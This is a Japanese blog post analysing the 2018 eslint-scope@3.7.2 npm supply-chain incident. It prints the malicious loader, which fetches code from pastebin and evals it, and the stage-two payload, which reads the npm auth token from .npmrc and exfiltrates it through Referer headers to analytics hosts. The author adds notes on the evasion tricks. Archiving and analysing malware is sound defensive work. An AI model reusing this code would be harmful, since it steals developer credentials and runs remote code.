LoginSignup
2
2

More than 5 years have passed since last update.

「2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について」を読んで、思ったこと(アーカイブも兼ねる)

Last updated at Posted at 2018-07-15

こいつを読んだ

2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について - qiita

今回発生したインシデントでどのような攻撃コードが送られていたのかをアーカイブに残す

攻撃コード

eslint-scope@3.7.2
try {
  var https = require('https');
  https.get({
    'hostname': 'pastebin.com',
    path: '/raw/XLeVP82h',
    headers: {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
      Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }
  }, (r) => {
    r.setEncoding('utf8');
    r.on('data', (c) => {
      eval(c);
    });
    r.on('error', () => {});
  }).on('error', () => {});
} catch (e) {}
  • 攻撃者は簡単に攻撃コードを変更できるようなコードを挿入している
  • pastebin.comをいうサイトを使うことで、作成者がわからないようにしている
  • try catchで例外を潰すことにより、実行者に気が付かれないようにしている
  • headersUser-Agentpastebin.com側を欺くためだろうと考えられる
pastebin.com/raw/XLeVP82h
try {
  var path = require('path');
  var fs = require('fs');
  var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
  var content = "nofile";
  if (fs.existsSync(npmrc)) {
    content = fs.readFileSync(npmrc, {
      encoding: 'utf8'
    });
    content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
    var https1 = require('https');
    https1.get({
      hostname: 'sstatic1.histats.com',
      path: '/0.gif?4103075&101',
      method: 'GET',
      headers: {
        Referer: 'http://1.a/' + content
      }
    }, () => {}).on("error", () => {});
    https1.get({
      hostname: 'c.statcounter.com',
      path: '/11760461/0/7b5b9d71/1/',
      method: 'GET',
      headers: {
        Referer: 'http://2.b/' + content
      }
    }, () => {}).on("error", () => {});
  }
} catch (e) {}
  • 特徴的なのは、アクセストークンをRefererで送っていること
  • tokenの送り先は アナリティクス分析関連会社
  • このような会社の解析ツールをDBのように使っているという点
  • 更に、torを使い、アナリティクス分析関連会社にアクセスし、情報を盗み取っていたと考えられる

この事件のを通して思ったこと

  • エンジニアとしていろいろなツールを開発する中で、RefererをDBとして使われるような、予期しない悪用のされ方があるのだと知っておかないといけないなと感じた

参考

Github

screencapture-github-eslint-eslint-scope-issues-39-2018-07-15-16_12_39.png
https://github.com/eslint/eslint-scope/issues/39#issuecomment-404495923

Hacker News

screencapture-news-ycombinator-item-2018-07-15-16_11_25.png
https://news.ycombinator.com/item?id=17513709

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2